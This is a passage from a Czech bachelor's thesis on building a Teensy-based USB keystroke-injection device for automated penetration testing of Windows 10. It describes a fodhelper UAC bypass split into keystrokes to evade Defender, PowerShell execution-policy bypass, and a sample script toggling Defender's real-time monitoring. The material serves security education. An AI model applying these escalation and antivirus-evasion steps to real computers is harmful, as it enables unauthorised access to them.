� V pam¥ti jsou obsaºeny v²echny instrukce spolu s daty. Typicky obsahuje Read

Only Memory (ROM) a Random Access Memory (RAM) £ipy. ROM se vyuºívá

k uloºení instrukcí a dat, která se nem¥ní. Je to nevolatilní typ pam¥ti a informace

je dostupná i po odpojení zdroje. Lze z ní pouze £íst. RAM je na druhou stranu

volatilní, informace je dostupná v pam¥ti jen po dobu p°ipojeného zdroje. Lze

do ní jak zapisovat, tak také £íst.

4.2 Editor a kompilace zdrojového kódu

Perea v knize Arduino Essentials [21] popisuje základy práce s mikropo£íta£em Ar-

duino, nap°íklad jak ovládat vývojové studio a práci s ním. Jelikoº se práce nevyuºívá

Arduino ale Teensy, na o�ciální webové stránce pro mikropo£íta£ Teensy [22] je po-

psáno, jak vyuºít vývojové studio pro Arduino s vlastním dopl¬kem Teensyduino.

4.2.1 Vývojové studio

Pro editaci a kompilaci kódu pro mikropo£íta£e existuje nástroj Arduino Desktop IDE.

Jedná se o multiplatformní software a dá se stáhnout z o�ciální webové stránky na

https://www.arduino.cc/en/Guide.

https://www.arduino.cc/en/Guide
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Nejd·leºit¥j²í ovládací prvky studia jsou umíst¥ny v horní nabídce vývojového stu-

dia.

Obr. 4.1 Tla£ítka p°íkaz· a funkcí Arduino IDE

Zleva doprava to jsou tla£ítka:

� veri�kace pro kontrolu syntaxe kódu a provedení kompilace, pokud nejsou nale-

zeny chyby

� nahrání zkompilovaného kódu do mikrokontroleru

� vytvo°ení nového listu pro zdrojový kód

� otev°ení existujícího zdrojového kódu z disku

� uloºení aktuáln¥ editovaného zdrojového kódu

� otev°ení okna sériového monitoru pro vizualizaci komunikace mezi po£íta£em

a mikropo£íta£em

4.2.2 Teensyduino

Pro správnou funkcionalitu je t°eba mít nainstalované ovlada£e pro komunikaci s mikro-

po£íta£em. V p°ípad¥ mikropo£íta£e Teensy, který není p°ímo podporovaný vývojovým

studiem Arduino Desktop IDE, existuje dopln¥k Teensyduino, který se dá stáhnout

z o�ciální webové stránky mikropo£íta£e Teensy z adresy https://www.pjrc.com/t

eensy/td_download.html.

Dopln¥k umoº¬uje nejen spolupráci s vývojovým studiem, p°idává navíc i plnou

sadu knihoven. Teensy je na²t¥stí po°ád z v¥t²í míry kompatibilní i s knihovnami pro

Arduino.

4.2.3 Teensy Loader

Pro nahrání zkompilovaného kódu do Teensy se vyuºívá programu Teensy Loader do-

stupný z https://www.pjrc.com/teensy/loader.html. Ten se spustí po p°íkazu pro

nahrání ve vývojovém studiu Arduino Desktop IDE.

https://www.pjrc.com/teensy/td_download.html
https://www.pjrc.com/teensy/td_download.html
https://www.pjrc.com/teensy/loader.html
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4.3 Teensy 3.6

Na o�ciálních stránkách pro Teensy [22] jso uvedeny technické vlastnosti. Mikropo£í-

ta£ má procesor architektury ARM s taktem 180 MHz, velikost RAM 256KB, �ash

pam¥´ 1024KB a 4KB EEPROM. Podporuje pam¥´ovou kartu Miscro SD a jako za°í-

zení Universal Serial Bus (USB) dokáºe komunikovat s po£íta£em rychlostí 12Mbit/s.

Disponuje mj. Serial Peripheral Interface (SPI) a Inter-Integrated Circuit (I2C).

Obr. 4.2 Teensy 3.6 (p°evzato z [22])

Teensy není limitováno pro pouºití jen jako sériové za°ízení. Umoº¬uje být zárove¬

více typy. Sta£í v menu nástroj· nastavit USB typ, £i jejich souhrn. Na obrázku 4.4 je

vid¥t výb¥r typ·, kterým se Teensy stane p°i b¥hu programu p°i sou£asném p°ipojení

k po£íta£i.

Obr. 4.3 Výb¥r USB typu (p°evzato z [22])

4.4 Mikropo£íta£ jako nástroj pro penetra£ní testování

Trinka na webové stránce [23] popisuje specializovaný nástroj USB Rubber Ducky [24].

Je produktem spole£nosti Hak5, která prodává r·zné nástroje a pom·cky pro za£ína-

jící penetra£ní testery. Ducky, který vypadá p°esn¥ jako USB �ash disk, ve skute£nosti

ale obsahuje programovatelné za°ízení HID, které dokáºe simulovat p°edem naprogra-
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Obr. 4.4 Náhled programu Teensy
Loader (p°evzato z [22])

mované série stisk· kláves. Krom¥ Rubber Ducky má dle Trinky podobné schopnosti

i mikropo£íta£ Teensy, ten je ale nep°ív¥tivý, protoºe nemá obal.

Obr. 4.5 USB Rubber Ducky (p°evzato z
[24])
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5 Interakce mikropo£íta£e

Pro p°ipojení, ovládání a komunikaci mezi za°ízením mikropo£íta£e a testovaným po-

£íta£em je nutné nade�novat pouºité technologie.

5.1 Sériová komunikace p°es USB

Pro ú£el této práce se sériovou komunikací rozumí sériová komunikace p°es USB. Na

jedné stran¥ komunikace je mikropo£íta£ Teensy a na druhé po£íta£ s opera£ním sys-

témem Windows 10.

5.1.1 Teensy

V £ásti o Teensyduino na o�ciální webové stránce Teensy [22] je popsána sériová ko-

munikace p°es USB. B¥ºn¥ je sériová komunikce pouºívána pro zobrazení informací

v Arduino IDE Serial monitoru 4.2.1.

Standardní knihovna Serial zjednodu²uje komunikaci následujícími funkcemi:

� Serial.begin(...) je v p°ípad¥ Teensy volitelná metoda pro zavolání, volá se

automaticky.

� Serial.available() vrací po£et bajt·, které je moºné £íst.

� Serial.read() £te jeden bajt. Vrací hodnotu 0-255, pokud je co £íst, jinak -1.

Beºn¥ se pouºívá po zavolání funkce Serial.available().

� Serial.write(...) odesílá bajt. Funkci je moºné pouºít i s parametry bu�eru

a délky, pro odeslání více bajt· najednou pro rychlý a efektivní datový p°enos.

5.1.2 Windows

V dokumentu spole£nosti Microsoft [25] je v rámci .NET Framework de�nována t°ída

System.IO.Ports.SerialPort, která obsahuje metody pro práci se sériovými porty.

� Open() otevírá nové spojení skrz sériový port.

� Write(...) zapisuje °et¥zec poskytnutý jako parametr metod¥ na sériový port.

� Close() zavírá spojení na portu.

5.2 Human Interface Device

Za°ízení lidského rozhraní, HID (Human Interface Device), je navrhnuto pro p°ímou

interakci s £lov¥kem. Jak popisuje Axelson v knize USB complete: everything you need



UTB ve Zlín¥, Fakulta aplikované informatiky 30

to develop custom USB peripherals [26], v¥t²ina za°ízení tohoto typu to d¥lá, není to

v²ak pravidlem. D·leºité je, aby svou funkcí bylo v kritériích HID t°ídy.

Zde je uvedena £ást vý£tu hlavních funcionalit a limitací za°ízení t°ídy HID:

� V²echna vym¥¬ovaná data jsou ve strukturách nazývající se reporty. Hostitel po-

sílá i p°ijímá data, tedy reporty, v p°enosu skrz kanál °ídící nebo kanál p°eru²ení.

Formát reportu má nem¥nitelnou délku, m·ºe ale obsahovat jakýkoliv typ dat.

� HID rozhraní musí mít jeden IN koncový bod pro p°eru²ení pro zasílání vstupních

report·.

� HID rozhraní m·ºe mít jeden OUT koncový bod pro p°eru²ení.

� Je-li pot°eba více koncových bod· pro p°eru²ení, je moºné vytvo°it kompozitní

za°ízení, které obsahuje více HID.

� P°eru²ení na IN koncovém bodu povoluje za°ízení HID zaslat informace hostiteli

v nep°edvídatelnou dobu. Nap°íklad stisk klávesy na klávesnici není p°edvída-

telný.

� Datový p°enos je limitovaný, nap°íklad u high-speed koncových bod· je rychlost

aº 24 MB/s.

V dokumentu de�nující HID verze 1.11 [27] je uvedena tabulka 5.1 shodn¥ popisující

vý²e uvedený vý£et funkcionalit:

Tab. 5.1 Kanály rozhraní HID

Kanál Popis Povinné
�ídící �ízení USB, poºadavky na kódy t°íd a data. ANO

P°eru²ení IN P°íjem dat ze za°ízení (proud). ANO
P°eru²ení OUT Odesílání dat do za°ízení (proud). NE

5.2.1 P°íklady za°ízení

Dokument de�nující HID [27] do t°ídy HID dále zahrnuje p°edev²ím za°ízení, která jsou

pouºívána lidmi k ovládání b¥hu po£íta£ových systém·. Mezi typické p°íklady za°ízení

t°ídy HID pat°í nap°.:

� klávesnice a ukazovací za°ízení (nap°. standardní my²i, trackbally a joysticky)

� ovládací prvky na p°edních panelech (nap°. kno�íky, p°epína£e, tla£ítka a posuv-

níky)
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� ovládací prvky, které se mohou nacházet na za°ízeních jako jsou telefony, dál-

kové ovládání videorekordéru, za°ízení pro simulaci (nap°. plynové pedály, volanty

a sm¥rovky)

� za°ízení, která nemusí vyºadovat lidskou interakci, ale poskytují údaje podobným

zp·sobem ve formátu za°ízení t°ídy HID (nap°. £te£ky £árových kód·, teplom¥ry

nebo voltmetry)

Mnoho za°ízení typických pro t°ídy HID zahrnuje indikátory, specializované displeje,

zvukové signály a silovou nebo hmatovou zp¥tnou vazbu. Proto de�nice t°ídy HID

zahrnuje podporu r·zných typ· výstup· ur£ených pro koncového uºivatele.

5.2.2 Knihovna pro mikropo£íta£ Teensy

Na stránce Teensy [22] je popsána simulace klávesnice s vyuºitím funkcí.

� Keyboard.print(...) pracuje podobn¥ jako Serial.write(...) (5.1.1) aº na

to, ºe je zpráva je zapsána ve form¥ úhoz· na klávesnici. Zapsat je moºné °et¥zce,

£ísla nebo jednotlivé znaky.

� Keyboard.press(...) poskytuje vy²²í kontrolu nad klávesou. Jako parametr je

klávesa a touto funkcí je simulováno její drºení.

� Keyboard.release(...) poskytuje vy²²í kontrolu nad klávesou. Jako parametr

je klávesa a touto funkcí je pu²t¥na.

5.3 Media Transfer Protocol

Ho�man [28] popisuje Media Transfer Protocol (MTP) jako dob°e známý a pouºívaný

protokol pro p°enos zvukových a obrázkových soubor·. Funguje velice odli²n¥ od vel-

kokapacitních za°ízení USB. Místo toho, aby se odhalila celá souborová struktura v za-

°ízení opera£nímu systému, MTP pracuje na úrovni soubor·. P°i p°ipojení takového

za°ízení se po£íta£ doptává za°ízení. To nazp¥t nabídne strukturu sloºek a soubor·.

Po£íta£ m·ºe stáhnout soubor pokud si o n¥j zaºádá. Pokud chce po£íta£ uloºit soubor

do za°ízení, tak soubor ode²le, a je na za°ízení jestli ho uloºí. Pro smazání souboru

po£íta£ po²le signál za°ízení ve form¥ ºádosti.

V praxi jsou MTP funkce podobné jako pro velkokapacitní za°ízení USB. Nap°íklad

MTP za°ízení je vid¥t ve Windows Explorer, takºe je moºné soubory procházet.
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II. PRAKTICKÁ �ÁST
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6 Výroba za°ízení pro penetra£ní testování

Cílem za°ízení je hlavn¥ ²et°it £as penetra£nímu testerovi, automatizovat testovací sady

a zachovat posloupnosti v²ech p°íkaz· a nastavení p°i testu. Ideální provoz je reºim p°i-

poj, £ekej a odpoj. Za°ízení by m¥lo po p°ipojení k testovanému po£íta£i samostatn¥

spustit sadu pro komunikaci. Toho se dá docílit simulací klávesnice a programov¥ ovlá-

daným psaním na klávesnici, kdy se do testovaného po£íta£e dostane skript na °ízení

a pr·b¥h test·. V moment¥, kdy b¥ºí skript na testovaném po£íta£i, je zárove¬ za°ízení

v módu pro p°enos soubor·. Tímto zp·sobem se dají p°ená²et v¥t²í soubory s daleko

v¥t²í rychlostí v porovnání s výpisem obsahu souboru skrz klávesnici. Po p°enosu se na

testovaném po£íta£i staºená sada rozbalí a následn¥ spustí. Pr·b¥h testu je viditelný

pr·b¥ºn¥ na malém Organic Light-Emitting Diode (OLED) displeji.

Mohlo by se zdát, ºe je zbyte£né umis´ovat displej p°ímo na za°ízení, kdyº je b¥h

testu vid¥t i na obrazovce po£íta£e v terminálu. Na obrazovce po£íta£e je v²ak i plno

jiných informací, ve kterých se tester m·ºe ztratit, zvlá²´ p°i rychlém pohybu textu

v terminálu. Pro lep²í orientaci o probíhající komunikaci a testech je práv¥ proto pouºit

displej p°ímo na zaºízení. Nap°íklad tím, ºe za°ízení zobrazí hlá²ku o skon£ení na

svém displeji, se tester nemusí spoléhat na obrazovku po£íta£e, která se klidn¥ mohla

uzamknout.

Po skon£ení testování je vytvo°en výstupní komprimovaný soubor se v²emi výsledky

test·, ty jsou pak p°eneseny zp¥t na za°ízení. Jakmile je p°enos dokon£en, skript na tes-

tovaném po£íta£i po sob¥ uklidí, aby po testu nez·stal nepo°ádek. Následn¥ je za°ízení

p°ipraveno k odpojení a výstupy na Micro SD kart¥ p°ipravené pro analýzu testerem.

6.1 Konstrukce

Za°ízení se skládá z mikropo£íta£e Teensy 3.6, OLED displeje a vzájemných propojení.

Celé za°ízení je schováno v malém obalu a vypadá jako p°enosný modem nebo USB

�ash disk. Má celkem dva otvory, jeden jako pr·zor pro displej a druhý jako p°ístup ke

kart¥ Micro SD. Obrázek 6.1 zobrazuje vnit°ní uspo°ádání a zapojení komponent. Na

obrázcích 6.2 a 6.3 je zkompletované za°ízení.

Na schématu zapojení 6.4 je vid¥t p°ipojení dvou pull-up rezistor· a displeje na

sb¥rnici I2C.

6.2 Programování obsluhující £ásti

Projekt vytvo°ený pro Arduino IDE je psaný ve vlastním jazyce, který je subsetem

C++ a supersetem C.
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Obr. 6.1 Mikropo£íta£ s OLED displejem

6.2.1 Pouºité knihovny

Vyuºito je n¥kolik knihoven, které zaji²´ují komunikaci nap°íklad s OLED displejem

nebo zabudovaným modulem pro práci s Micro SD kartou.

� Teensyduino Core je souhrnem b¥ºných knihoven pro Teensy. Jsou zde funkce

a metody pro práci skrz SPI (pro Micro SD) nebo I2C (OLED displej).

� Teensy MTP Responder je knihovna p°idávající podporu pro p°enos multi-

mediálních soubor·.

6.2.2 Identi�kace typu za°ízení USB

Mikropo£íta£ p°i p°ipojení k testovanému po£íta£i musí ohlásit jeden nebo více typ·

USB za°ízení, za který se vydává. V tomto p°ípad¥ je vyuºito úpravy v hlavi£ko-

vém souboru kon�gurace usb_desc.h a je p°idána nová de�nice, která obsahuje roz-

hraní pro sériovou komunikaci, rozhraní klávesnice a rozhraní pro MTP Její název je

USB_MTPDISK_KEYBOARD_SERIAL. Díky této kon�guraci je moºné mít v²echny

t°i rozhraní komunikace aktivní zárove¬ a mít tak zna£n¥ usnadn¥nou práci s posíláním

p°íkaz·, p°enosem soubor· a nasloucháním pro zp¥tnou vazbu.

6.2.3 Princip komunikace mezi za°ízením a testovaným po£íta£em

Celkem zde jsou dva kanály pro komunikaci. Jedním je klávesnice a druhým sériový port

za°ízení USB. Klávesnice slouºí hlavn¥ k p°enosu p°íkaz· simulující osobu u po£íta£e,

není tedy úpln¥ vhodná pro oboustranou komunikaci. I kdyº protokol HID umoº¬uje

posílání informace nazp¥t (více o HID je dostupné v kapitole 5.2), není to optimální
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Obr. 6.2 Hotové za°ízení

Obr. 6.3 P°ipojené za°ízení do po£íta£e s uvítací zprávou na displeji

volba. Na druhou stranu, sériový port v tomto p°ípad¥ daleko lépe slouºí ú£elu pro

p°enos zp¥tné vazby zp¥t do za°ízení.

Komunikaci znázor¬uje obrázek 6.5. Po prvotní inicializaci, kdy je za°ízení v testo-

vaném po£íta£i rozpoznáno a korektn¥ p°ipojeno, je otev°en terminál PowerShell a skrz

simulovanou klávesnici spu²t¥n skript pro otev°ení sériového spojení. Ten nejenom spo-

jení otev°e, ale také zajistí, aby se spojení otev°elo na tom správném portu. Za°ízení

£eká na dohodnutý signál. Jakmile ho obdrºí, m·ºe pokra£ovat dál. Následuje série

p°íkaz· p°es simulovanou klávesnici pro spu²t¥ní test· a sb¥r jejich výsledk·. Kaºdý

test ohla²uje sv·j start odesláním noti�ka£ního p°íkazu p°es sériové spojení, aby mohlo

za°ízení na displeji zobrazit stavovou zprávu. Po uloºení výsledk· na za°ízení a úklidu

na testovaném po£íta£i, je moºné zahájit ukon£ení spojení.
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Obr. 6.4 Schéma zapojení (p°evzato a upraveno z [22])

6.3 Pr·b¥h ºivotního cyklu

Na obrázku 6.6 je znázorn¥ný pr·b¥h ºivotního cyklu, kterým se za°ízení °ídí od jeho

p°ipojení k po£íta£i. V pr·b¥hu je na displeji zobrazen stav, ve kterém se za°ízení

nachází. B¥hem spu²t¥ných test· je na displeji také zobrazeno po°adí práv¥ b¥ºícího

testu. Po skon£ení testování se za°ízení dostane do posledního stavu a za°ízení je moºné

odpojit od po£íta£e.
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Obr. 6.5 Sekven£ní diagram komunikace
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Obr. 6.6 Pr·b¥h ºivotního cyklu
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7 Programový kód

Tím, ºe je nutné mít spu²t¥ný kód na obou stranách, navíc v rozdílných programova-

cích jazycích, je tato kapitola rozd¥lena na dv¥ £ásti. a to na £ást pro mikrokontroler

a testovaný po£íta£. P°i implementaci kódu byly vyuºity principy návrhu £istého kódu

dle knihy Clean Code [29]. Pro lep²í orientaci je moºné nahlédnout do sekven£ního

diagramu 6.5 a vývojového diagramu 6.6.

7.1 Mikrokontroler

Kód zde je provád¥n jako první. Zaji²´uje odesílání kódu pro testovaný po£íta£ a celkov¥

startuje proces testování. Pro lep²í orientaci a znovuvyuºitelnost kódových blok· je celý

kód rozd¥len do funkcí a pro vnit°ní synchronizaci vyuºívá globálních prom¥nných.

Funkce mikrokontroleru jsou uvedeny v p°íloze I.

Následující globální prom¥nné slouºí k synchronizaci p°i výkonu nekone£né smy£ky

volání funkce loop() a setupLoop(...).

int setupProcedureIndex;
int nowRunningTestNumber = 0;
bool setupIsActive;
bool procedureInWaiting;

Pro zobrazení informací na displeji formou posuvného seznamu (log) jsou k dispozici

£ty°i globální prom¥nné, které drºí aktuální hodnotu svého °ádku. Text na displeji je

zobrazen funkcí displayPrint(...) a následn¥ p°idán do logu.

String line1 = "";
String line2 = "";
String line3 = "";
String line4 = "";

7.1.1 Setup

Tato funkce je spu²t¥na jako první. Slouºí k provedení krok· nutných k inicializaci

celého testovacího procesu:

1. Zobrazení uvítací zprávy na OLED displeji funkcí printWelcomeMessage(),

2. kontrolu vloºené SD karty funkcí checkInsertedSDCard(),

3. inicializaci knihovny vyuºívající MTP (viz 5.3),

4. spu²t¥ní terminálu PowerShell na testovaném po£íta£i p°es p°íkaz simulované

klávesnice funkcí startPowerShell(),



UTB ve Zlín¥, Fakulta aplikované informatiky 40

5. spu²t¥ní terminálu PowerShell v privilegovaném reºimu s vyuºitím zranitelnosti

opera£ního systému Windows (viz 3.3) funkcí

startPriviledgedPowerShellThroughExploit(),

6. a navázání spojení z testovaného po£íta£e do mikrokontroleru skrz sériové spojení

(viz 5.1).

Funkce 1-3 jsou dostupné v p°íloze I, 4-5 v p°íloze II. Po této funkci je mikrokont-

rolerem automaticky zavolána funkce Loop.

7.1.2 Loop

Mikrokontroler tuto funkci volá v nekone£né smy£ce. Tím, ºe je pro plnou a spolehli-

vou funkcionalitu MTP pro p°enos soubor· nutné volat co nej£ast¥ji mtpd.loop(), je

ºádoucí, aby ve²kerá práce v této funkci byla vºdy co nejkrat²í. Zárove¬ je zde naim-

plementován tzv. Setup loop (obsah je v 7.1.3), který spou²tí dal²í kroky pro inicializaci

celého procesu p°ed testováním. Takto je moºné mít spu²t¥nou inicializaci a zárove¬

funk£ní p°enos soubor· p°es MTP.

Aº je incializace hotová, jsou spu²t¥ny testy. Aby mikrokontroler v¥d¥l, jak testování

pokra£uje, a jestli uº náhodou neskon£ilo, neustále kontroluje sériové spojení. M·ºou

p°ijít následující zprávy ve form¥ znaku:

� r je restart procesu pro MTP

� n indikace dal²ího probíhajícího testu

� f proces zabalení výsledk· do archivu a nahrání na SD kartu m·ºe za£ít

� c ºádá o p°íkaz £i²t¥ní po£íta£e po provedených testech

� e je poslední zpráva a zna£í ukon£ení práce

7.1.3 Funkce inicializace

Jak bylo popsáno v p°edchozích podkapitolách, nejd°ív je nutné postupn¥ spustit p°í-

pravné funkce:

1. Vytvo°ení do£asného adresá°e na testovaném po£íta£i. Ten slouºí k uloºení test·,

nástroj· pro testování a následn¥ i k uloºení výsledk·. Po skon£ení test· je tento

adresá° smazán.

2. Kontrola, ºe testovaný po£íta£ dokáºe na£íst za°ízení MTP.
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3. Kopírování soubor· pro testování na testovaný po£íta£ do do£asného adresá°e.

4. Rozbalení soubor· pro testování z archivu.

5. Posledním bodem je spu²t¥ní test·.

7.2 Testovaný po£íta£

�ídící kód spou²t¥ný na testovaném po£íta£i je nutné zadat pomocí simulované klá-

vesnice. Zadávání probíhá do otev°eného PowerShell terminálu. Jelikoº je posíláno více

p°íkaz· zárove¬, musí se jednotlivé p°íkazy odd¥lit st°edníkem. Pro zabrán¥ní posí-

lání dal²ích p°íkaz· p°ed dokon£ením v²ech p°edchozích, je na n¥které konce seznamu

p°íkaz· p°idáván p°íkaz sériové komunikace $connection.Write(ZNAK) se znakem vy-

jad°ující signál pro mikrokontroler (jaké znaky to jsou lze vid¥t v podkapitole 7.1.2).

Ten se pak m·ºe rozhodnout, jestli poslat dal²í p°íkazy nebo t°eba ukon£it testování.

Funkce pro testovaný po£íta£ jsou uvedeny v p°íloze II.

7.2.1 Start sériové komunikace

Tato komunikace je vyuºívána hlavn¥ sm¥rem z testovaného po£íta£e do mikrokontro-

leru. Princip je popsán v podkapitole 5.1. Za£átek kódového bloku je anotován zavolá-

ním displayPrint("Start Serial COM").

Jelikoº není p°edem známé, na jakém sériovém COM portu bude za°ízení pro sério-

vou komunikaci dostupné, je tento port zji²t¥n aº po p°ipojení. Zji²t¥ní probíhá pomocí

identi�kátoru výrobce a výrobku. V tomhle p°ípad¥ to je kód výrobce VID_16C0 a vý-

robku PID_047A.

Po otev°ení spojení mezi testovaným po£íta£em a mikrokontrolerem prob¥hne vý-

m¥na o£ekáváných znak·. Tím je funk£nost spojení ov¥°ena a m·ºe se pokra£ovat dále.

7.2.2 Zneuºití zranitelnosti

Funkce startPriviledgedPowerShellThroughExploit() vyuºívá zranitelnosti popsané

v podkapitole 3.3. V dob¥ psaní tohoto skriptu jiº spole£nostMicrosoft tuto zranitelnost

£áste£n¥ opravila. Pokud je spu²t¥n blok kódu, ve kterém se vyskytují klí£ové °et¥zce

zmín¥ných registr· a p°íkaz pro spu²t¥ní programu fodhelper, je provedení kódu zablo-

kováno. Tohle omezení se dá obejít, pokud se klí£ové °et¥zce od sebe odd¥lí a vkládají

se do terminálu postupn¥ simulovanou klávesnicí. Vloºené p°íkazy je ale nutné provést

okamºit¥, protoºe je klí£ový registr pravideln¥ £i²t¥ný opera£ním systémem. M·ºe se

tedy stát, ºe se p°íkaz neprovede, ale je to velmi malá pravd¥podobnost. Pokud se i tak

stane, celý proces bude pokra£ovat dál v neprivilegovaném reºimu. Navíc je moºné
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celý proces testování hned zopakovat, protoºe je zneuºití zranitelnosti provedeno na

samotném za£átku.

7.2.3 Vytvo°ení do£asného adresá°e

Aby testy naru²ovaly adresá°ovou strukturu v testovaném po£íta£i co nejmén¥, je

vytvo°en funkcí createTempFolderOnTestedMachine() do£asný adresá° v adresá°i

TEMP.

7.2.4 Kontrola dostupnosti úloºi²t¥ za°ízení

Jelikoº probíhá mnoho asynchronních krok·, je t°eba d¥lat neustálé kontroly o do-

stupnosti. To platí i v situaci programov¥ °ízeného úloºi²t¥ v mikrokontroleru. Aby

m¥l testovaný po£íta£ jistotu, ºe je uº za°ízení p°ipraveno, je spu²t¥na £ekací funkce

waitForAccessibleMTPFolder(). Ta ve smy£ce zkou²í, jestli je jiº p°ipojené za°ízení

v p°ipraveno pro p°enos soubor·.

7.2.5 Kopírování nástroj· a test·

Kv·li pouºitému protokolu MTP (více v podkapitole 5.3) je nutné p°istupovat k soubo-

r·m a sloºkám formou dotaz· (podobn¥ jako u File Transfer Protocol (FTP)). Funkce

copyRequiredFilesForTests() se postupn¥ dotazuje na jednotlivé sloºky a soubory.

Pro ú£ely testování jsou zkopírovány na testovaný po£íta£ postupn¥ archivy nástroj·

a následn¥ test·. V archivu jsou ob¥ £ásti kv·li zefektivn¥ní rychlosti p°enosu. Více

soubor· znamená vy²²í reºii. Navíc je p°enos pom¥rn¥ pomalý a takto se p°ená²í men²í

objem dat.

Po zkopírování je zavolána funkce extractTestFiles(), kterou se archivy rozbalí.

7.2.6 Spu²t¥ní test·

Funkce startTests() postupn¥ na£te ve²kerý obsah ze sloºky test· a za£n¥ procházet

jednotlivé sloºky, ve kterých je v jednotném formátu soubor skriptu testu. Pr·b¥ºn¥ je

posílán signál mikrokontroleru vºdy, kdyº za£ne exekuce dasl²ího testu.

Za pomoci p°íkazu

powershell -ExecutionPolicy Bypass SKRIPT | Out-File VÝSTUP

je spu²t¥n soubor skriptu s testem. Výstup tohoto b¥hu je sm¥rován do výstupního

souboru. Zárove¬ je nastavena úrove¬ zabezpe£ení pro spou²t¥ný skript na Bypass

(obejití). Tímto nastavením není provedení skriptu blokované opera£ním systémem.
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7.2.7 Zabalení výsledk· do archivu

Provedení nastane po zavolání funkce zipResultsAndCopyToSDCard(). Ú£el této funkce

je p°ímo£arý. Po zavolání testovaný po£íta£ zabalí ve²kerý obsah ze sloºky pro výsledky

do archivu formátu ZIP. Pro zjednodu²ení identi�kace je archiv pojmenován s místním

datumem a £asem. Zjednodu²ení ov²em p°iná²í jen v p°ípad¥ správn¥ nastaveného £asu

v systému testovaného po£íta£e.

7.2.8 Ukon£ení

Záv¥r práce na testovaném po£íta£i je ukon£en funkcí cleanUp(). Ta za°ídí úklid

a oznámí mikrokontroleru úsp¥²né dokon£ení.
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8 Návod pro pouºití

Zde se nachází návod, jak za°ízení pouºívat, a co je v²echno pot°eba, aby byl pr·b¥h

testování hladký.

8.1 Podporované prost°edí

Za°ízení je optimalizováno pro b¥h na po£íta£i s opera£ním systémem Windows 10.

Je nutné, aby na testovaném za°ízení bylo povoleno p°ipojování nových USB za°ízení

(n¥které antimalware programy mohou nová za°ízení blokovat). Zárove¬ je t°eba, aby

byl p°i b¥hu, a p°i p°ipojení za°ízení, p°ihlá²en uºivatel s odemknutou obrazovkou. Pro

ú£ely zadávání kódu pro b¥h je t°eba, aby cílový testovaný po£íta£ m¥l jazyk prost°edí

nastavený na angli£tinu. V nejideáln¥j²ím p°ípad¥ by m¥l uºivatel mít oprávn¥ní pro

eskalaci práv do role administrátora systému. Tímto zp·sobem se dá o£ekávat nejhlad²í

pr·b¥h test· v jejich plné mí°e.

8.2 Prerekvizice

Tester musí být obeznámen s pouºitými nástroji v testech, jejich p°íkazy a jejich pr·-

b¥hem. Musí také být p°ipraven na situaci, kdy se z n¥jakého d·vodu test p°eru²í. To

m·ºe zp·sobit nap°íklad p°eru²ení dodávky proudu, nebo interakce uºivatele s po£íta-

£em. V takovém p°ípad¥ m·ºe být upravena kon�gurace po£íta£e a je nutno ji manuáln¥

vrátit. Doporu£uji provést zálohu nastavení po£íta£e p°ed za£átkem testu.

Do za°ízení se p°ipojuje Micro SD karta s testy a nástroji. Doporu£uji dostate£n¥

velkou kapacitu karty pro výsledky test· a hlavn¥ nástroje.

Aby testy probíhaly co nejrychleji a nejspolehliv¥ji, není vhodné provád¥t jakéko-

liv jiné operace, které by systém zpomalovaly, £i m¥nily jeho kon�guraci (nap°íklad

instalace, aktualizace nebo vzdálená správa).

8.3 Interakce s testovaným po£íta£em

Aby mohlo testování za£ít, je nutné, aby byl po£íta£ spu²t¥ný a odem£ený (uºivatel

byl p°ihlá²en). Pro spu²t¥ní test· sta£í za°ízení p°ipojit do portu USB.

Na displeji za°ízení se postupn¥ zobrazí n¥kolik hlá²ek o provedených krocích. Za

zmínku stojí kontrola p°ítomnosti Micro SD karty. Pokud chybí, uºivateli je tato zpráva

zobrazena a za°ízení £eká na její vloºení.

Za£íná testování. V závislosti na velikosti nástroj· a délce pr·b¥hu test· se m·ºe

délka testování li²it na kaºdém testovaném po£íta£i. Po nahrání výsledk· test· na Micro

SD kartu je na displeji zobrazena hlá²ka o skon£ení. Za°ízení je moºné vyjmout a na

Micro SD kart¥ jsou dostupné výsledky.
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8.4 Vytvo°ení nového testu

Testy jsou na£ítány automaticky a je nutné dodrºet adresá°ovou strukturu. Celé za-

°ízení pracuje s Micro SD kartou naformátovanou jako FAT32. V ko°enovém adresá°i

musí existovat dva archivy, a to tests.zip pro testy a tools.zip pro nástroje. Jak

bude vypadat archiv s nástroji, je pln¥ na testerovi. Struktura pro testy je ale jasn¥

daná.

Po rozbalení archivu s testy by m¥l vzniknout adresá° s názvem archivu. Uvnit°

musí být dal²í adresá°e, které nesou název testu. V t¥chto adresá°ích jsou pak samotné

testy. V pr·b¥hu testování je z kaºdého takového adresá°e spu²t¥n soubor skriptu s ná-

zvem test.ps1. Tento soubor skriptu je spu²t¥n v privilegovaném reºimu. Spu²t¥ní

probíhá za vyuºití zranitelnosti opera£ního systému Windows, takºe není t°eba °e²it

vkládání hesla administrátora. Pokud chce tester vyuºít nástroje z adresá°e nástroj·,

m·ºe v testu vyuºít relativní cestu testfiles\tools\.

8.5 Vyhodnocení výsledk·

Výsledky jsou po kaºdém testování jsou uloºeny na Micro SD kart¥ ve formátu ZIP.

Je tedy nutné výsledky zkopírovat do po£íta£e a tam je rozbalit. Výsledky jsou po-

jmenovány s £asem testu. Podsloºky jsou pak nazvány podle jména testu s ve²kerými

výstupy b¥hu testovacího skriptu.
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9 P°íklady test·

V této kapitole jsou názvy podkapitol shodné s názvy test·. Jsou k nalezení v p°íloze

na CD. Jeho obsah je v p°íloze III.

9.1 DisableDefenderMonitoring

Spu²t¥ním tohoto testu dojde k pokusu o vypnutí programu Microsoft Defender. Vy-

uºívá se p°íkazu Set-MpPreference pro úpravu nastavení. P°íkaz je popsán v doku-

mentaci na webové stránce https://docs.microsoft.com/en-us/powershell/mod

ule/defender/set-mppreference?view=windowsserver2019-ps.

9.1.1 P°íkaz

# Výpis nastavení p°ed zm¥nou
$preferences = Get-MpPreference
# Uloºení p·vodních hodnot
$mpRealtimeMonitoring =
[System.Convert]::ToBoolean($preferences.DisableRealtimeMonitoring)
$mpBehaviorMonitoring =
[System.Convert]::ToBoolean($preferences.BehaviorMonitoring)
echo "## Toggle monitorings: There will be errors if

it can not be toggled ##"
# Ovlivn¥ní nastavení Defenderu
Set-MpPreference -DisableRealtimeMonitoring (

-not ($mpRealtimeMonitoring))
Set-MpPreference -DisableBehaviorMonitoring (

-not ($mpBehaviorMonitoring))
# Obnovení p·vodního stavu
echo "## Toggle to original state and print MpPreference ##"
Set-MpPreference -DisableRealtimeMonitoring $mpRealtimeMonitoring
Set-MpPreference -DisableBehaviorMonitoring $mpBehaviorMonitoring
# Výpis nastavení na konci testu
